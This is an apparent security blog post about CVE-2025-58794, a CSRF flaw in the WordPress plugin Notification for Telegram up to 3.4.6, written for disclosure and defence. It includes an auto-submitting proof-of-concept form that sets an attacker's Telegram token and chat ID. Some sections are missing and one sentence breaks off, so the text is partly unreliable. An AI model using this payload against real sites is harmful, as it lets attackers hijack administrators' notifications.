CVE-2025-58794 - CSRF Vulnerability in Notification for Telegram (Up to 3.4.6)

The security world has spotted a major flaw in the popular Notification for Telegram plugin, which affects versions up to 3.4.6. Tracked as CVE-2025-58794, this is a serious Cross-Site Request Forgery (CSRF) vulnerability. It can allow attackers to trick administrators into making unwanted changes—potentially hijacking their Telegram notifications or even linking the plugin to an attacker's Telegram account.

In this post, we’ll break down what CSRF is, how the vulnerability works in Notification for Telegram, and show you a proof-of-concept attack. We'll also share guidance on staying safe and fixing your site.

1. What Is CSRF and Why Is It Dangerous?

Cross-Site Request Forgery (CSRF) is a web attack where a logged-in user is tricked into submitting requests without realizing it. Since the request comes from the user’s browser, it can perform actions with that user’s permissions.

A simple example:
An attacker sends you a link. When you click it, your browser unknowingly sends a request to your bank’s site—maybe to transfer money. You don’t see it happen. If you’re logged into your bank, the transaction goes through.

Why is this so bad in Notification for Telegram?
If a website admin is logged in and visits a malicious page, the attacker can make settings changes to the Telegram notifications plugin—probably even linking it to the attacker's Telegram account to steal messages.

Vulnerable Versions

All versions of Notification for Telegram up to 3.4.6 are vulnerable. If you run this version or earlier, you’re at risk.

What’s the Problem?

Notification for Telegram lets users connect their Telegram account to your WordPress website. But the plugin’s settings page accepts incoming POST requests to change its configuration—and does not check for WordPress CSRF security tokens ("nonces").

So, if an attacker tricks an admin into visiting a malicious website, they can silently update the plugin's settings.

Suppose your site's admin is logged in and visits a page containing this code

<form action="https://yoursite.com/wp-admin/options-general.php?page=notification-for-telegram"; method="POST" style="display:none" id="csrf">
  <input type="text" name="ntf_telegram_token" value="123456:ATTACKERS-FAKETOKEN">
  <input type="text" name="ntf_telegram_chat_id" value="-100123456789">
  <input type="submit">
</form>
<script>
  document.getElementById('csrf').submit();
</script>

What happens?
The form auto-submits as soon as the admin loads the page.
If your plugin settings page (options-general.php?page=notification-for-telegram) does NOT verify a valid CSRF token:

Realistic Scenario

- Attacker emails the admin a link: http://badsite.com/csrf.html

4. Original References

- CVE Page (NVD) – Official vulnerability tracking page.
- Plugin page on WordPress.org – Check for new versions and changelogs.
- Rainafarai GitHub – Developer’s repository (if available).
- OWASP CSRF Explanation – Learn about CSRF in detail.

Update the plugin:

Developers will usually patch CSRF flaws quickly. Always run the latest version. Go to your dashboard, check for plugin updates, and apply them.

6. Technical Details

The exploit works because the settings handler for Notification for Telegram does not check for WordPress’s standard nonce field, which is a security token used to confirm the request is real.

A secure handler would have code like

check_admin_referer('ntf_telegram_settings_update');

...to block any unauthorized POST request.

7. Conclusion

CVE-2025-58794 is a simple but high-impact vulnerability. If you’re on an affected plugin version, attackers only need a bit of social engineering to take control of your Telegram notifications.

Timeline

Published on: 09/05/2025 14:15:48 UTC
Last modified on: 09/05/2025 17:47:10 UTC

CVE-2025-58794 - CSRF Vulnerability in Notification for Telegram (Up to 3.4.6) – How Attackers Can Exploit Your Site